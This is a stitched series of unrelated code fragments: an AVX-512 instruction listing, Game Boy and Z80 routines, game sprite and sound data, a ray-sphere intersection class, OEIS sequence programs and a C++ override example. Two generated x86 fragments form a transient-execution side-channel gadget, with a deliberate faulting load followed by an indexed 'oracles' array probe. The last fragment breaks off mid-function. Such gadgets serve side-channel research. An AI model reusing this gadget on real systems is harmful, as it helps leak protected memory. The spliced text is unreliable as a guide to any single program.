vsubps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vsubsd xmm2, xmm7, xmm0
vsubsd xmm2, xmm7, xmm0, {rd-sae}
vsubsd xmm2, xmm7, [rbx]
vsubsd xmm2, xmm7, [rbx+r11*8+256]
vsubsd xmm2, xmm7, [rbx+r11*8-256]
vsubsd xmm2{k5}, xmm7, xmm0
vsubsd xmm2{k5}, xmm7, xmm0, {rd-sae}
vsubsd xmm2{k5}, xmm7, [rbx]
vsubsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vsubsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vsubsd xmm2{k5}{z}, xmm7, xmm0
vsubsd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vsubsd xmm2{k5}{z}, xmm7, [rbx]
vsubsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vsubsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vsubss xmm2, xmm7, xmm0
vsubss xmm2, xmm7, xmm0, {rd-sae}
vsubss xmm2, xmm7, [rbx]
vsubss xmm2, xmm7, [rbx+r11*8+256]
vsubss xmm2, xmm7, [rbx+r11*8-256]
vsubss xmm2{k5}, xmm7, xmm0
vsubss xmm2{k5}, xmm7, xmm0, {rd-sae}
vsubss xmm2{k5}, xmm7, [rbx]
vsubss xmm2{k5}, xmm7, [rbx+r11*8+256]
vsubss xmm2{k5}, xmm7, [rbx+r11*8-256]
vsubss xmm2{k5}{z}, xmm7, xmm0
vsubss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vsubss xmm2{k5}{z}, xmm7, [rbx]
vsubss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vsubss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vucomisd xmm2, xmm0
vucomisd xmm2, xmm0, {sae}
vucomisd xmm2, [rbx]
vucomisd xmm2, [rbx+r11*8+256]
vucomisd xmm2, [rbx+r11*8-256]
vucomiss xmm2, xmm0
vucomiss xmm2, xmm0, {sae}
vucomiss xmm2, [rbx]
vucomiss xmm2, [rbx+r11*8+256]
vucomiss xmm2, [rbx+r11*8-256]
vunpckhpd xmm2, xmm7, xmm0
vunpckhpd xmm2, xmm7, [rbx]
vunpckhpd xmm2, xmm7, [rbx]{1to2}
vunpckhpd xmm2, xmm7, [rbx+r11*8+256]
vunpckhpd xmm2, xmm7, [rbx+r11*8-256]
vunpckhpd xmm2{k5}, xmm7, xmm0
vunpckhpd xmm2{k5}, xmm7, [rbx]
vunpckhpd xmm2{k5}, xmm7, [rbx]{1to2}
vunpckhpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vunpckhpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vunpckhpd xmm2{k5}{z}, xmm7, xmm0
vunpckhpd xmm2{k5}{z}, xmm7, [rbx]
vunpckhpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vunpckhpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vunpckhpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vunpckhpd ymm16, ymm13, ymm15
vunpckhpd ymm16, ymm13, [rbx]
vunpckhpd ymm16, ymm13, [rbx]{1to4}
vunpckhpd ymm16, ymm13, [rbx+r11*8+256]
vunpckhpd ymm16, ymm13, [rbx+r11*8-256]
vunpckhpd ymm16{k5}, ymm13, ymm15
vunpckhpd ymm16{k5}, ymm13, [rbx]
vunpckhpd ymm16{k5}, ymm13, [rbx]{1to4}
vunpckhpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vunpckhpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vunpckhpd ymm16{k5}{z}, ymm13, ymm15
vunpckhpd ymm16{k5}{z}, ymm13, [rbx]
vunpckhpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vunpckhpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vunpckhpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vunpckhpd zmm24, zmm24, zmm31
vunpckhpd zmm24, zmm24, [rbx]
vunpckhpd zmm24, zmm24, [rbx]{1to8}
vunpckhpd zmm24, zmm24, [rbx+r11*8+256]
vunpckhpd zmm24, zmm24, [rbx+r11*8-256]
vunpckhpd zmm24{k5}, zmm24, zmm31
vunpckhpd zmm24{k5}, zmm24, [rbx]
vunpckhpd zmm24{k5}, zmm24, [rbx]{1to8}
vunpckhpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vunpckhpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vunpckhpd zmm24{k5}{z}, zmm24, zmm31
vunpckhpd zmm24{k5}{z}, zmm24, [rbx]
vunpckhpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vunpckhpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vunpckhpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vunpckhps xmm2, xmm7, xmm0
vunpckhps xmm2, xmm7, [rbx]
vunpckhps xmm2, xmm7, [rbx]{1to4}
vunpckhps xmm2, xmm7, [rbx+r11*8+256]
vunpckhps xmm2, xmm7, [rbx+r11*8-256]
vunpckhps xmm2{k5}, xmm7, xmm0
vunpckhps xmm2{k5}, xmm7, [rbx]
vunpckhps xmm2{k5}, xmm7, [rbx]{1to4}
vunpckhps xmm2{k5}, xmm7, [rbx+r11*8+256]
vunpckhps xmm2{k5}, xmm7, [rbx+r11*8-256]
vunpckhps xmm2{k5}{z}, xmm7, xmm0
vunpckhps xmm2{k5}{z}, xmm7, [rbx]
vunpckhps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vunpckhps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vunpckhps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vunpckhps ymm16, ymm13, ymm15
vunpckhps ymm16, ymm13, [rbx]
vunpckhps ymm16, ymm13, [rbx]{1to8}
vunpckhps ymm16, ymm13, [rbx+r11*8+256]
vunpckhps ymm16, ymm13, [rbx+r11*8-256]
vunpckhps ymm16{k5}, ymm13, ymm15
vunpckhps ymm16{k5}, ymm13, [rbx]
vunpckhps ymm16{k5}, ymm13, [rbx]{1to8}
vunpckhps ymm16{k5}, ymm13, [rbx+r11*8+256]
vunpckhps ymm16{k5}, ymm13, [rbx+r11*8-256]
vunpckhps ymm16{k5}{z}, ymm13, ymm15
vunpckhps ymm16{k5}{z}, ymm13, [rbx]
vunpckhps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vunpckhps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vunpckhps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vunpckhps zmm24, zmm24, zmm31
vunpckhps zmm24, zmm24, [rbx]
vunpckhps zmm24, zmm24, [rbx]{1to16}
vunpckhps zmm24, zmm24, [rbx+r11*8+256]
vunpckhps zmm24, zmm24, [rbx+r11*8-256]
vunpckhps zmm24{k5}, zmm24, zmm31
vunpckhps zmm24{k5}, zmm24, [rbx]
vunpckhps zmm24{k5}, zmm24, [rbx]{1to16}
vunpckhps zmm24{k5}, zmm24, [rbx+r11*8+256]
vunpckhps zmm24{k5}, zmm24, [rbx+r11*8-256]
vunpckhps zmm24{k5}{z}, zmm24, zmm31
vunpckhps zmm24{k5}{z}, zmm24, [rbx]
vunpckhps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vunpckhps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vunpckhps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vunpcklpd xmm2, xmm7, xmm0
vunpcklpd xmm2, xmm7, [rbx]
vunpcklpd xmm2, xmm7, [rbx]{1to2}
vunpcklpd xmm2, xmm7, [rbx+r11*8+256]
vunpcklpd xmm2, xmm7, [rbx+r11*8-256]
vunpcklpd xmm2{k5}, xmm7, xmm0
vunpcklpd xmm2{k5}, xmm7, [rbx]
vunpcklpd xmm2{k5}, xmm7, [rbx]{1to2}
vunpcklpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vunpcklpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vunpcklpd xmm2{k5}{z}, xmm7, xmm0
vunpcklpd xmm2{k5}{z}, xmm7, [rbx]
vunpcklpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vunpcklpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vunpcklpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vunpcklpd ymm16, ymm13, ymm15
vunpcklpd ymm16, ymm13, [rbx]
vunpcklpd ymm16, ymm13, [rbx]{1to4}
vunpcklpd ymm16, ymm13, [rbx+r11*8+256]
vunpcklpd ymm16, ymm13, [rbx+r11*8-256]
vunpcklpd ymm16{k5}, ymm13, ymm15
vunpcklpd ymm16{k5}, ymm13, [rbx]
vunpcklpd ymm16{k5}, ymm13, [rbx]{1to4}
vunpcklpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vunpcklpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vunpcklpd ymm16{k5}{z}, ymm13, ymm15
vunpcklpd ymm16{k5}{z}, ymm13, [rbx]
vunpcklpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vunpcklpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vunpcklpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vunpcklpd zmm24, zmm24, zmm31
vunpcklpd zmm24, zmm24, [rbx]
vunpcklpd zmm24, zmm24, [rbx]{1to8}
vunpcklpd zmm24, zmm24, [rbx+r11*8+256]
vunpcklpd zmm24, zmm24, [rbx+r11*8-256]
vunpcklpd zmm24{k5}, zmm24, zmm31
vunpcklpd zmm24{k5}, zmm24, [rbx]
vunpcklpd zmm24{k5}, zmm24, [rbx]{1to8}
vunpcklpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vunpcklpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vunpcklpd zmm24{k5}{z}, zmm24, zmm31
vunpcklpd zmm24{k5}{z}, zmm24, [rbx]
vunpcklpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vunpcklpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vunpcklpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vunpcklps xmm2, xmm7, xmm0
vunpcklps xmm2, xmm7, [rbx]
vunpcklps xmm2, xmm7, [rbx]{1to4}
vunpcklps xmm2, xmm7, [rbx+r11*8+256]
vunpcklps xmm2, xmm7, [rbx+r11*8-256]
vunpcklps xmm2{k5}, xmm7, xmm0
vunpcklps xmm2{k5}, xmm7, [rbx]
vunpcklps xmm2{k5}, xmm7, [rbx]{1to4}
vunpcklps xmm2{k5}, xmm7, [rbx+r11*8+256]
vunpcklps xmm2{k5}, xmm7, [rbx+r11*8-256]
vunpcklps xmm2{k5}{z}, xmm7, xmm0
vunpcklps xmm2{k5}{z}, xmm7, [rbx]
vunpcklps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vunpcklps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vunpcklps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vunpcklps ymm16, ymm13, ymm15
vunpcklps ymm16, ymm13, [rbx]
vunpcklps ymm16, ymm13, [rbx]{1to8}
vunpcklps ymm16, ymm13, [rbx+r11*8+256]
vunpcklps ymm16, ymm13, [rbx+r11*8-256]
vunpcklps ymm16{k5}, ymm13, ymm15
vunpcklps ymm16{k5}, ymm13, [rbx]
vunpcklps ymm16{k5}, ymm13, [rbx]{1to8}
vunpcklps ymm16{k5}, ymm13, [rbx+r11*8+256]
vunpcklps ymm16{k5}, ymm13, [rbx+r11*8-256]
vunpcklps ymm16{k5}{z}, ymm13, ymm15
vunpcklps ymm16{k5}{z}, ymm13, [rbx]
vunpcklps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vunpcklps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vunpcklps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vunpcklps zmm24, zmm24, zmm31
vunpcklps zmm24, zmm24, [rbx]
vunpcklps zmm24, zmm24, [rbx]{1to16}
vunpcklps zmm24, zmm24, [rbx+r11*8+256]
vunpcklps zmm24, zmm24, [rbx+r11*8-256]
vunpcklps zmm24{k5}, zmm24, zmm31
vunpcklps zmm24{k5}, zmm24, [rbx]
vunpcklps zmm24{k5}, zmm24, [rbx]{1to16}
vunpcklps zmm24{k5}, zmm24, [rbx+r11*8+256]
vunpcklps zmm24{k5}, zmm24, [rbx+r11*8-256]
vunpcklps zmm24{k5}{z}, zmm24, zmm31
vunpcklps zmm24{k5}{z}, zmm24, [rbx]
vunpcklps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vunpcklps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vunpcklps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
|
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld c, 44
ld b, 90
lbegin_waitvblank:
ldff a, (c)
cmp a, b
jrnz lbegin_waitvblank
ld hl, 8000
xor a, a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld hl, 8010
ld a, ff
ld(hl++), a
ld(hl++), a
ld a, 01
ld b, 32
ld hl, 9a40
lbegin_settilemap:
ld(hl++), a
dec b
jrnz lbegin_settilemap
ld a, e4
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ld c, 69
ldff(c), a
ldff(c), a
ld a, aa
ldff(c), a
ldff(c), a
ld a, 55
ldff(c), a
ldff(c), a
xor a, a
ldff(c), a
ldff(c), a
ld c, 41
ld b, 03
lbegin_waitm3:
ldff a, (c)
and a, b
cmp a, b
jrnz lbegin_waitm3
ld a, 20
ldff(c), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ld c, 42
ld b, 90
ld a, 03
ldff(43), a
ei
.text@1000
lstatint:
nop
nop
nop
nop
nop
nop
nop
nop
ldff a, (44)
ld d, a
ld a, b
sub a, d
ldff(c), a
pop hl
xor a, a
.text@1029
ldff(c), a
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1bf07, %r15
and %r12, %r12
mov (%r15), %r9w
nop
nop
nop
nop
nop
xor $30844, %rdx
lea addresses_UC_ht+0xed73, %r10
nop
nop
nop
nop
inc %rdi
movups (%r10), %xmm2
vpextrq $1, %xmm2, %rax
nop
cmp %rdx, %rdx
lea addresses_normal_ht+0x11cfb, %rsi
lea addresses_WT_ht+0x19a7b, %rdi
nop
xor $8543, %r10
mov $1, %rcx
rep movsq
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0xc91f, %r10
nop
nop
nop
nop
and %rdx, %rdx
movb (%r10), %cl
nop
nop
nop
nop
dec %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdx
// Store
lea addresses_D+0x1bc3b, %rdx
nop
nop
nop
nop
sub $50006, %r13
movw $0x5152, (%rdx)
// Exception!!!
nop
nop
nop
nop
mov (0), %rax
nop
nop
nop
nop
cmp $49241, %r11
// Load
lea addresses_A+0x9e3b, %rax
nop
nop
nop
nop
inc %rbp
vmovntdqa (%rax), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rcx
nop
cmp $11753, %r13
// Store
lea addresses_normal+0x16ac3, %rcx
nop
nop
nop
nop
xor %rdx, %rdx
movb $0x51, (%rcx)
nop
nop
nop
nop
inc %r12
// Store
lea addresses_D+0x151b, %rax
nop
and %rdx, %rdx
movl $0x51525354, (%rax)
nop
nop
nop
nop
sub $20774, %rdx
// Store
lea addresses_D+0x7f1b, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
inc %rdx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm1
movups %xmm1, (%rcx)
nop
nop
add %rcx, %rcx
// Store
lea addresses_RW+0x26bb, %r11
xor %rbp, %rbp
mov $0x5152535455565758, %rdx
movq %rdx, (%r11)
xor %rdx, %rdx
// Faulty Load
lea addresses_US+0x18e3b, %r12
cmp %rbp, %rbp
vmovups (%r12), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2}}
{'00': 58}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;
; Z88 Small C+ Run Time Library
; Long support functions
;
; djm 25/2/99
; Rewritten for size and speed (untested, but should be OK)
;
; aralbrec 01/2007
; sped up some more
XLIB l_long_asr
; Shift primary (on stack) right by secondary,
; We can only shift a maximum of 32 bits (or so), so the counter can
; go in c
.l_long_asr
pop ix
ld a,l ;temporary store for counter
pop hl
pop de
or a
jr z, done
ld b,a
ld a,e ; primary = dahl
.loop
sra d
rra
rr h
rr l
djnz loop
ld e,a
.done
jp (ix)
|
Map_228394: dc.w Frame_22839A-Map_228394 ; ...
dc.w Frame_2283A8-Map_228394
dc.w Frame_2283B0-Map_228394
Frame_22839A: dc.w 2
dc.b $FC, $C, 0,$36,$FF,$E4
dc.b $FC, 8, 0,$36, 0, 4
Frame_2283A8: dc.w 1
dc.b $FC, $C, 0,$36,$FF,$E4
Frame_2283B0: dc.w 1
dc.b $FC, 8, 0,$36, 0, 4
|
SFX_Cry13_3_Ch1:
dutycycle 51
unknownsfx0x20 15, 246, 192, 5
unknownsfx0x20 8, 227, 188, 5
unknownsfx0x20 6, 210, 208, 5
unknownsfx0x20 6, 178, 224, 5
unknownsfx0x20 6, 194, 240, 5
unknownsfx0x20 8, 177, 0, 6
endchannel
SFX_Cry13_3_Ch2:
dutycycle 153
unknownsfx0x20 14, 198, 177, 4
unknownsfx0x20 7, 195, 173, 4
unknownsfx0x20 5, 178, 193, 4
unknownsfx0x20 8, 146, 209, 4
unknownsfx0x20 6, 162, 225, 4
unknownsfx0x20 8, 145, 241, 4
endchannel
SFX_Cry13_3_Ch3:
unknownnoise0x20 10, 230, 92
unknownnoise0x20 10, 214, 108
unknownnoise0x20 4, 194, 76
unknownnoise0x20 6, 211, 92
unknownnoise0x20 8, 179, 76
unknownnoise0x20 8, 161, 92
endchannel
|
// Geometric Tools, LLC
// Copyright (c) 1998-2014
// Distributed under the Boost Software License, Version 1.0.
// http://www.boost.org/LICENSE_1_0.txt
// http://www.geometrictools.com/License/Boost/LICENSE_1_0.txt
//
// File Version: 5.0.1 (2010/10/01)
#include "Wm5MathematicsPCH.h"
#include "Wm5IntrRay3Sphere3.h"
namespace Wm5
{
//----------------------------------------------------------------------------
template <typename Real>
IntrRay3Sphere3<Real>::IntrRay3Sphere3 (const Ray3<Real>& ray,
const Sphere3<Real>& sphere)
:
mRay(&ray),
mSphere(&sphere)
{
mQuantity = 0;
}
//----------------------------------------------------------------------------
template <typename Real>
const Ray3<Real>& IntrRay3Sphere3<Real>::GetRay () const
{
return *mRay;
}
//----------------------------------------------------------------------------
template <typename Real>
const Sphere3<Real>& IntrRay3Sphere3<Real>::GetSphere () const
{
return *mSphere;
}
//----------------------------------------------------------------------------
template <typename Real>
bool IntrRay3Sphere3<Real>::Test ()
{
Vector3<Real> diff = mRay->Origin - mSphere->Center;
Real a0 = diff.Dot(diff) - mSphere->Radius*mSphere->Radius;
if (a0 <= (Real)0)
{
// P is inside the sphere
return true;
}
// else: P is outside the sphere
Real a1 = mRay->Direction.Dot(diff);
if (a1 >= (Real)0)
{
return false;
}
// Quadratic has a real root if discriminant is nonnegative.
return a1*a1 >= a0;
}
//----------------------------------------------------------------------------
template <typename Real>
bool IntrRay3Sphere3<Real>::Find ()
{
Vector3<Real> diff = mRay->Origin - mSphere->Center;
Real a0 = diff.Dot(diff) - mSphere->Radius*mSphere->Radius;
Real a1, discr, root;
if (a0 <= (Real)0)
{
// P is inside the sphere
a1 = mRay->Direction.Dot(diff);
discr = a1*a1 - a0;
root = Math<Real>::Sqrt(discr);
mRayParameter[0] = -a1 + root;
mPoint[0] = mRay->Origin + mRayParameter[0]*mRay->Direction;
mQuantity = 1;
mIntersectionType = IT_POINT;
return true;
}
// else: P is outside the sphere
a1 = mRay->Direction.Dot(diff);
if (a1 >= (Real)0.0)
{
mQuantity = 0;
mIntersectionType = IT_EMPTY;
return false;
}
discr = a1*a1 - a0;
if (discr < (Real)0.0)
{
mQuantity = 0;
mIntersectionType = IT_EMPTY;
}
else if (discr >= Math<Real>::ZERO_TOLERANCE)
{
root = Math<Real>::Sqrt(discr);
mRayParameter[0] = -a1 - root;
mRayParameter[1] = -a1 + root;
mPoint[0] = mRay->Origin + mRayParameter[0]*mRay->Direction;
mPoint[1] = mRay->Origin + mRayParameter[1]*mRay->Direction;
mQuantity = 2;
mIntersectionType = IT_SEGMENT;
}
else
{
mRayParameter[0] = -a1;
mPoint[0] = mRay->Origin + mRayParameter[0]*mRay->Direction;
mQuantity = 1;
mIntersectionType = IT_POINT;
}
return mQuantity > 0;
}
//----------------------------------------------------------------------------
template <typename Real>
int IntrRay3Sphere3<Real>::GetQuantity () const
{
return mQuantity;
}
//----------------------------------------------------------------------------
template <typename Real>
const Vector3<Real>& IntrRay3Sphere3<Real>::GetPoint (int i) const
{
return mPoint[i];
}
//----------------------------------------------------------------------------
template <typename Real>
Real IntrRay3Sphere3<Real>::GetRayParameter (int i) const
{
return mRayParameter[i];
}
//----------------------------------------------------------------------------
//----------------------------------------------------------------------------
// Explicit instantiation.
//----------------------------------------------------------------------------
template WM5_MATHEMATICS_ITEM
class IntrRay3Sphere3<float>;
template WM5_MATHEMATICS_ITEM
class IntrRay3Sphere3<double>;
//----------------------------------------------------------------------------
}
|
;
; Copyright (c) 2020 Phillip Stevens
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, August 2020
;
;-------------------------------------------------------------------------
; asm_am9511_sqrt - am9511 floating point square root
;-------------------------------------------------------------------------
SECTION code_clib
SECTION code_fp_am9511
IFDEF __CLASSIC
INCLUDE "../../_DEVELOPMENT/target/am9511/config_am9511_private.inc"
ELSE
INCLUDE "target/am9511/config_am9511_private.inc"
ENDIF
EXTERN asm_am9511_pushf
EXTERN asm_am9511_pushf_fastcall
EXTERN asm_am9511_popf
PUBLIC asm_am9511_sqrt, asm_am9511_sqrt_fastcall
.asm_am9511_sqrt
call asm_am9511_pushf ; x
ld a,__IO_APU_OP_SQRT
out (__IO_APU_CONTROL),a ; x^0.5
jp asm_am9511_popf
.asm_am9511_sqrt_fastcall
call asm_am9511_pushf_fastcall ; x
ld a,__IO_APU_OP_SQRT
out (__IO_APU_CONTROL),a ; x^0.5
jp asm_am9511_popf
|
; A002697: a(n) = n*4^(n-1).
; 0,1,8,48,256,1280,6144,28672,131072,589824,2621440,11534336,50331648,218103808,939524096,4026531840,17179869184,73014444032,309237645312,1305670057984,5497558138880,23089744183296,96757023244288,404620279021568,1688849860263936,7036874417766400,29273397577908224,121597189939003392,504403158265495552,2089670227099910144,8646911284551352320,35740566642812256256,147573952589676412928,608742554432415203328,2508757194024499019776,10330176681277348904960,42501298345826806923264,174727559866176872906752,717799705396186072481792,2946756685310658613346304,12089258196146291747061760,49565958604199796162953216,203099537695257701350637568,831740963894864872197849088,3404335108034795755972591616,13926825441960528092615147520,56945241807127492645359714304,232732727385651491681035354112,950737950171172051122527404032,3882179963198952542083653566464,15845632502852867518708790067200,64650180611639699476331863474176,263671324847471715511314266718208,1074967708993538532469204318158848,4381000474388760811572606277779456,17848520451213469973073581131694080,72692156019487586799426948609081344,295960920936485174826238290765545472
mov $1,4
pow $1,$0
mul $1,$0
div $1,4
mov $0,$1
|
#include "RecoMuon/MuonSeedGenerator/src/MuonSeedSimpleCleaner.h"
void MuonSeedSimpleCleaner::clean(TrajectorySeedCollection& seeds) {
for (std::vector<TrajectorySeed>::iterator seed = seeds.begin(); seed != seeds.end(); ++seed) {
if (!checkPt(*seed)) {
seeds.erase(seed--);
} else {
int counter = 0;
for (std::vector<TrajectorySeed>::iterator seed2 = seed; seed2 != seeds.end(); ++seed2)
if (seed->startingState().parameters().vector() == seed2->startingState().parameters().vector())
++counter;
if (counter > 1) {
seeds.erase(seed--);
}
}
}
}
bool MuonSeedSimpleCleaner::checkPt(const TrajectorySeed& seed) const {
bool result = true;
if (seed.nHits() == 1) {
int rawId = seed.startingState().detId();
DetId detId(rawId);
bool isBarrel = (detId.subdetId() == 1);
LocalVector p = seed.startingState().parameters().momentum();
// homemade local-to-global
double pt = (isBarrel) ? -p.z() : p.perp();
if (fabs(pt) < 3.05) {
result = false;
}
}
return result;
}
|
;-----------------------------------------------------
;Display CPU information
;I: none
;O: none
;-----------------------------------------------------
_get_cpuid:
xor EAX,EAX
cpuid
mov DWORD [VendorSign], EBX
mov DWORD [VendorSign+4], EDX
mov DWORD [VendorSign+8], ECX
mov BYTE [VendorSign+12],0x00
mov si,VendorSign
mov al,0x01
int 0x021
ret
;-----------------------------------------------------
|
class Base
{
virtual void A(float=0.0);
virtual void B() const;
};
class Derived: public Base
{
virtual void A(int=0); // specifies parameter as int instead of float, treated as new function
virtual void B(); // specifies function as non-const, treated as new function
}; |
; A047550: Numbers that are congruent to {5, 7} mod 8.
; 5,7,13,15,21,23,29,31,37,39,45,47,53,55,61,63,69,71,77,79,85,87,93,95,101,103,109,111,117,119,125,127,133,135,141,143,149,151,157,159,165,167,173,175,181,183,189,191,197,199,205,207,213,215,221,223,229,231,237,239,245,247,253,255,261,263,269,271,277,279,285,287,293,295,301,303,309,311,317,319,325,327,333,335,341,343,349,351,357,359,365,367,373,375,381,383,389,391,397,399
mov $1,$0
mul $0,2
mod $1,2
sub $0,$1
mul $0,2
add $0,5
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x186d3, %rsi
lea addresses_D_ht+0xd214, %rdi
nop
xor %r15, %r15
mov $25, %rcx
rep movsb
cmp $54082, %rcx
lea addresses_UC_ht+0x1c73b, %rdi
nop
nop
nop
nop
nop
cmp $38141, %r11
movl $0x61626364, (%rdi)
cmp %rsi, %rsi
lea addresses_D_ht+0xe0d3, %rsi
nop
cmp $60803, %r14
mov $0x6162636465666768, %rdx
movq %rdx, (%rsi)
nop
nop
nop
nop
dec %r11
lea addresses_WT_ht+0x1d96b, %rdx
nop
and $34149, %r11
mov (%rdx), %edi
xor $51321, %r15
lea addresses_WT_ht+0x5d3, %rsi
nop
nop
nop
nop
sub $5257, %r15
mov $0x6162636465666768, %r11
movq %r11, (%rsi)
nop
sub $12361, %r11
lea addresses_A_ht+0xd2d3, %rsi
lea addresses_D_ht+0x1c0d3, %rdi
nop
cmp $26957, %r8
mov $54, %rcx
rep movsl
nop
nop
nop
sub %r11, %r11
lea addresses_UC_ht+0x126d3, %r11
nop
nop
nop
nop
nop
cmp $40084, %rdx
mov (%r11), %r15d
nop
cmp $55971, %rcx
lea addresses_WT_ht+0x6ad3, %rdi
